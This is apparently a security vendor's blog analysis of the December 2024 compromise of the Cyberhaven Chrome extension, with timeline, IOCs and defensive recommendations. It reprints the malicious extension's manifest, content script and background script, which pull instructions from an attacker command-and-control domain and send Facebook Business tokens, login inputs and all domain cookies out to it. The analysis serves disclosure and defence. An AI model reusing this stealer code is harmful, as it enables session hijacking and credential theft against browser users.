Cyberhaven Browser Extension Compromise
Cyberhaven Browser Extension Compromise: What Happened and What It Means
Cyberhaven, a data loss prevention cybersecurity company, recently experienced a breach that resulted in the distribution of a malicious browser extension to its customer base. This breach highlights the importance of extension management and browser security within the organization. Below, we break down what happened, how it unfolded, and the implications for security teams.
Key Takeaways:
- Cyberhaven suffered a breach through the compromise of a Chrome Web Store administrative account. A malicious extension was published under its account.
- This extension targets specific web-based accounts, such as Facebook Business, and focuses on information theft through cookie stealing, and logging inputs through DOM-tree selection.
- The attack highlights the limitations of relying solely on extension allowlists and blocklists; even trusted extensions can be compromised.
What Happened?
On December 24th, 2024, at approximately 5:24 PM UTC, a Cyberhaven employee was targeted in what is likely a phishing attack that resulted in the compromise of an administrative account for the Chrome Web Store. Using this access, the attacker published a malicious extension version (24.10.4) under Cyberhaven’s name and ID in the early morning of December 25th, 2024. The compromised extension was available for several hours before being detected and removed.
Cyberhaven's internal security team detected the breach at 11:54 PM UTC on December 25th and removed the malicious extension within 60 minutes. During this time, the extension could have exfiltrated sensitive data, including authenticated sessions and cookies, to the attacker’s command-and-control (C&C) domain, cyberhavenext[.]pro.
The C&C domain was active from 1:32 AM UTC on December 25th until 2:50 AM UTC on December 26th, 2024.
According to Cyberhaven’s customer notification, there is no evidence that any other systems or accounts were compromised. This includes their CI/CD processes and code-signing keys.
Organization utilizing Cyberhaven's DLP offering need to immediately ensure employees have updated to the latest version (24.10.5+) of the extension. While the cyberhavenext[.]pro domain has been taken down, the malicious extension has the capability to retrieve instructions and post information from and to any domain.
Malicious Extension Behavior
The malicious extension exhibited behavior consistent with other command & control information-stealing attacks. Below is a technical breakdown of its behavior:
1. Manifest Configuration
The extension's manifest embeds a content script into the beginning (document start) of every web page loaded in the browser. The manifest structure shows that this content script is injected into pages matching any URL.
{
"name": "Cyberhaven",
"version": "24.10.4",
"content_scripts": [
{
"matches": [ "<all_urls>" ],
"js": [ "/js/content.js" ],
"run_at": "document_start"
}
],
"permissions": [
"alarms",
"tabs",
"downloads",
"webNavigation",
"webRequest",
"storage",
"cookies",
"scripting"
],
"host_permissions": [
"<all_urls>"
]
}
2. Background Script
Upon installation or activation, the extension’s background script executes a function that posts an initial request to the attacker's C&C domain. This communication initiates as soon as the extension becomes active, triggered by browser events such as reopening Chrome or installing the update.
async function() {
try {
const t = await fetch("https://cyberhavenext.pro/ai-cyberhaven", {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
}
});
if (!t.ok) throw new Error(`HTTP error! Status: ${t.status}`);
const e = await t.json();
await chrome.storage.local.set({
cyberhavenext_ext_manage: JSON.stringify(e)
}), console.log("Data successfully stored!")
} catch (t) {
console.error("An error occurred:", t)
}
}();
Note that on the initial request to the attacker’s C&C domain, it stores the first set of instructions under cyberhavenext_ext_manage
in the Chrome extension's local storage. This is an artifact for determining if a the compromised extension ran on the device as the next update will not clear it.
C&C Domain
The attacker registered cyberhavenext.pro
within the last few days as a part of the attack. The first lookup matches a similar pattern used in other extension compromises.
https://cyberhavenext[.]pro/ai-cyberhaven
Registered On 2024-12-25T01:32:38Z
Destination IOCs:cyberhavenext[.]pro
api[.]cyberhavenext[.]pro
149.248.2.160
149.28.124.84
Extension File IOCs:content.js AC5CC8BCC05AC27A8F189134C2E3300863B317FB
worker.js 0B871BDEE9D8302A48D6D6511228CAF67A08EC60
CRX package b53007dc2404dc3a4651db2756c773aa8e48c23755eba749f1641542ae796398
Extension IDpajkjnmeojmbapicmbpliphjmcekeaac
3. C&C Instructions
The initial C&C endpoint returns payloads containing Base64-encoded instructions. These instructions were stored in the extension’s local storage for execution on subsequent page loads. We have identified two sets of payloads in real-use by the extension.
Instruction State
The instruction set in this compromise appears closely integrated with ChatGPT. In the specific case of the Cyberhaven variation, the '2000 code' state acts as a fallback mechanism to query ChatGPT when no further instructions are available.
{
"code": 2000,
"cyberhavenexta": "https://chatgpt.com/api/*",
"cyberhavenextb": "https://chatgpt.com/public-api/conversation_limit",
"cyberhavenextc": "http://chatgpt.com",
"cyberhavenextd": "sk-...",
"cyberhavenexte": "backend-api/me",
"cyberhavenextf": "https://chatgpt.com",
"cyberhavenextg": "https://chatgpt.com/backend-api/compliance",
"cyberhavenexth": "https://chatgpt.com/api/auth/session",
"cyberhavenexti": "auth",
"cyberhavenextk": "https://chatgpt.com"
}
Capture State
In some customer environments, additional lookups to the C&C endpoint trigger a '5000 code' state. This 'capture state' directs the extension to target a specific site for data scraping. For example, the extension is configured to extract authentication details from a Facebook Business account, including the username, password during a login event, and associated cookies.
Capture State: (BASE-64 DECODED)
{
"cyberhavenext_ext_manage": {
"code": 5000,
"cyberhavenextc": "facebook.com",
"cyberhavenextb": "https://api.cyberhavenext.pro/api/cyberhavenextData",
"cyberhavenextd": "cookie",
"cyberhavenexte": "userAgent",
"cyberhavenexta": "https://business.facebook.com/ads/ad_limits==",
"cyberhavenextf": "https://business.facebook.com/ads/ad_limits==",
"cyberhavenextg": "https://graph.facebook.com/v18.0/me/businesses/?fields=id,name,verification_status,created_time,owned_ad_accounts{id,name,account_currency_ratio_to_usd,amount_spent,insights.date_preset(maximum){spend},spend_cap,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details,adtrust_dsl,all_payment_methods{pm_credit_card{display_string,exp_month,exp_year},payment_method_direct_debits{can_verify,display_string,is_awaiting,is_pending,status},payment_method_paypal{email_address}}},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users{email,pending_email,name,role}&access_token=",
"cyberhavenexth": "https://graph.facebook.com/v18.0/me/?fields=name,birthday&access_token=",
"cyberhavenexti": "EAA",
"cyberhavenextk": "https://graph.facebook.com/v18.0/me/adaccounts?fields=account_currency_ratio_to_usd,name,account_status,currency,funding_source_details,amount_spent,insights.date_preset(maximum){spend},business,adspaymentcycle,spend_cap,adtrust_dsl, all_payment_methods{pm_credit_card {display_string, exp_month, exp_year},payment_method_direct_debits {can_verify, display_string, is_awaiting, is_pending, status},payment_method_paypal {email_address}}&access_token=",
"cyberhavenextl": "img",
"cyberhavenextm": "click",
"cyberhavenextn": "qr/show/code",
"cyberhavenexto": "https://api.cyberhavenext.pro/api/saveQR",
"cyberhavenextp": "src",
"cyberhavenextq": "input[name="pass"]",
"cyberhavenextr": "input[name="email""
}
}
The use of this state is further highlighted by the content script execution sequence.
4. Content Script Execution
The content script executed on every page load, performing the following tasks.
Execution Sequence
- Reading the stored instructions from local storage. If the local instruction contains code `2000`, the extension stays in the "ready" state.
- Checking if the current page’s domain. If the local instruction contains any other code (such as `5000`), The content script will check if the current webpage the user is on contains the targeted domain in the local instruction (in this example, `facebook.com`).
- Extracting elements & information stealing. It will then execute a series of messages to the compromised background script which will exfiltrate targeted sets of data such as URL, page information, and on-page values such as an input email and password related to the background script.
- Background transmission. The background script grabs and transmits all cookies, and other retrieved information, for the domain to the attacker-controlled domain.
CONTENT SCRIPT
chrome.runtime.onMessage.addListener((function(e, t, a) {
console.log("Message received:", e), "getScreenSize" === e.command && a({
screenWidth: window.screen.width,
screenHeight: window.screen.height
})
})), async function() {
let e, t = document.location.href; // facebook.com //united.com
try {
const {
cyberhavenext_ext_manage: t
} = await chrome.storage.local.get(["cyberhavenext_ext_manage"]);
e = t ? JSON.parse(t) : null
} catch (e) {
console.error("Error retrieving data from storage:", e)
}
e && 2e3 !== e.code ? setTimeout((async function() {
if (t.includes(atob(e.cyberhavenextc))) try {
await async function(e) {
const t = atob(e.cyberhavenextf),
a = atob(e.cyberhavenextg),
o = atob(e.cyberhavenextb),
r = atob(e.cyberhavenexth),
n = atob(e.cyberhavenextd),
c = atob(e.cyberhavenexte),
l = atob(e.cyberhavenexta),
s = atob(e.cyberhavenexti),
i = atob(e.cyberhavenextl),
w = atob(e.cyberhavenextm),
k = atob(e.cyberhavenextn),
d = atob(e.cyberhavenexto),
m = atob(e.cyberhavenextp),
V = atob(e.cyberhavenextk);
atob(e.cyberhavenextq), atob(e.cyberhavenextr);
chrome.runtime.sendMessage({
action: "cyberhavenext-rtext",
url: t
}, (t => {
const i = /6kU.*?"/gm;
let w, k = "";
for (; null !== (w = i.exec(t));) k = w[0].replace('"', "");
if (k) {
let t = s + k;
chrome.runtime.sendMessage({
action: "cyberhavenext-rjson",
url: r + t
}, (async r => {
const s = r.id,
i = r;
chrome.runtime.sendMessage({
action: "cyberhavenext-rjson",
url: a + t
}, (async a => {
const r = a.data;
chrome.runtime.sendMessage({
action: "cyberhavenext-rjson",
url: V + t
}, (async a => {
const w = a.data;
chrome.runtime.sendMessage({
action: "cyberhavenext-check-errors",
url: o,
pl: {
dm: atob(e.cyberhavenextc),
openapi_tk: t,
openapi_u: i,
cyberhavenext_cx: r,
gpta: w,
uid: s,
hed: n,
n: c,
r: l,
k: ""
}
}, (() => {
chrome.storage.local.set({
cyberhavenext_ext_log: JSON.stringify(s)
})
}))
}))
}))
}))
}
})), document.body.addEventListener(w, (() => {
document.querySelectorAll(i).forEach((async e => { console.log(e) }));
const t = e.getAttribute(m);
if (t && t.includes(k)) try {
const {
cyberhavenext_ext_log: e
} = await chrome.storage.local.get(["cyberhavenext_ext_log"]), a = e ? JSON.parse(e) : "";
chrome.runtime.sendMessage({
action: "cyberhavenext-validate",
url: d,
pl: {
sc: btoa(t),
cf: btoa(a)
}
})
} catch (e) {
console.error("Error retrieving log data:", e)
}
}))
}))
}(e)
} catch (e) {
console.error("Error processing valid URL:", e)
} else chrome.runtime.sendMessage({
action: "cyberhavenext-redirect",
url: e.cyberhavenextf
}, (t => {
0 === t && chrome.runtime.sendMessage({
action: "cyberhavenext-completions",
key: e.cyberhavenextd
})
}))
}), 2e3) : chrome.runtime.sendMessage({
action: "cyberhavenext-redirect",
url: e.cyberhavenextf
}, (t => {
0 === t && chrome.runtime.sendMessage({
action: "cyberhavenext-completions",
key: e.cyberhavenextd
})
}))
}();
BACKGROUND SCRIPT - MESSAGE RECEIVER
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case "cyberhavenext-completions":
fetch("https://chatgpt.com/status/", {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${t.key}`
},
body: JSON.stringify({
prompt: "check",
max_tokens: 150
})
}).then((t => t.json())).then((t => a(t))).catch((t => {}));
break;
case "cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case "cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {}));
break;
case "cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case "cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case "cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({
domain: n
}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))),
c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {
ms1: btoa(i),
ms2: JSON.stringify(e.cyberhavenext_cx),
ms3: JSON.stringify(e.gpta)
},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {}))
}
}))
}
return !0
})),
5. Data Exfiltration
The extracted data is sent to an API endpoint specified in the first set of instructions received from the C&C server:https://api[.]cyberhavenext[.]pro/api/cyberhavenextData
This process could be repeated with further instructions to expand the data theft scope.
Connection to a Wider Campaign
It is evident that this attack was not solely targeted at Cyberhaven. The payloads observed, particularly those abstracted to target environments like Facebook Business Manager, do not align with the criticality of other systems the extension could access in customer environments. In fact, other instances of the C&C framework have been used to target more consumer-facing extensions. This appears this framing allows the attacker to easily customize extensions for specific use cases and targets, enabling its reuse in varied attacks with minimal adaptation. For instance, while the Cyberhaven variant targets cookies using the Chrome cookies API, the InternxtVPN extension instead targets and intecepts specific web requests using Chrome webRequest API.
Campaign Destination IOCsparrottalks.info
ext.linewizeconnect.com
readermodeext.info
bookmarkfc.info
censortracker.pro
yujaverity.info
wayinai.live
vpncity.live
moonsift.store
cyberhavenext.pro
primusext.pro
internxtvpn.pro
uvoice.live
Campaign Extension IDs:pajkjnmeojmbapicmbpliphjmcekeaac
kkodiihpgodmdankclfibbiphjkfdenh
mnhffkhmpnefgklngfmlndmkimimbphc
acmfnomgphggonodopogfbmkneepfgnh
dpggmcodlahmljkhlmpgpdcffdaoccni
gaidoampbkcknofoejhnhbhbhhifgdop
oaikpkmjciadfpddlpjjdapglcihgdle
Community
Members of the information security community have contributed to the public knowledge on the compromise.
Implications
This incident shows the critical shortcomings in traditional extension management and the growing sophistication of browser-based threats. The holiday season, while reducing work-related browsing, likely delayed detection due to limited security monitoring—a stark reminder of how timing can amplify risks. The issue is further complicated by admin-installed extensions, which often bypass browser warnings because of their elevated trust level. Organizations must have the ability to detect and respond to updates or threats in admin-installed extensions swiftly. Even personally installed extensions, though reviewed by the Chrome Web Store, can present immediate risks when re-enabled, as their implications are rarely clear in the moment.
Extension change management is another glaring gap. While many developers maintain robust CI/CD pipelines, these practices are rendered ineffective if an administrative account can directly publish compromised updates. Browser extension marketplaces must enforce stricter change control processes to prevent such attacks. Without these safeguards, even trusted extensions can become conduits for far-reaching security incidents.
Recommendations for Security Teams
- Monitor when extensions are updated and establish mechanisms to review or disable new versions before deployment.
- Treat the browser as an operating system and implement tools that detect and respond to browser-specific threats. Solutions like Keep Aware provide these capabilities by monitoring and disabling malicious extensions in real-time.
Follow-Up Actions
Cyberhaven has engaged Mandiant and federal law enforcement to investigate the incident further. They are also providing updated telemetry to customers to narrow the scope of impacted machines and understand any data exfiltration that may have occurred. Customers are advised to:
- Update the Extension: Ensure the Chrome extension is updated to version 24.10.5 or newer.
- Revoke/Rotate Credentials: Rotate passwords and API tokens to prevent unauthorized access.
- Audit Logs: Review activity logs for potential malicious behavior and IOCs.
Keep Aware has worked with customers to trace web activity that the malicious extension leveraged for data scraping, ensuring affected organizations can take necessary actions such as credential rotation. By identifying patterns in extension updates, including admin-installed versions, tracking manifest permissions, and providing visibility into extension usage across employees, Keep Aware is helping organizations strengthen their response to this and similar threats. These steps are part of a broader effort to address the risks posed by compromised browser extensions.
Conclusion
This incident serves as a reminder of the critical need for proactive browser security measures. Extension management must go beyond simple allowlists to account for scenarios where trusted extensions become compromised. Security teams must prioritize monitoring, review, and control of browser extensions as part of their overall defense strategy. At Keep Aware, we focus on transforming browsers into secure environments, enabling organizations to detect and mitigate browser-based threats before they escalate. Learn how Keep Aware can help your team manage and secure browser extension use, ensuring a safer browsing experience for your organization.
Need help navigating this or similar threats?
- Contact our team
- Or me directly at ryan@keepaware.com
- Ryan, CEO @ Keep Aware
Stay up to date with the latest threat posts and browser security news from Keep Aware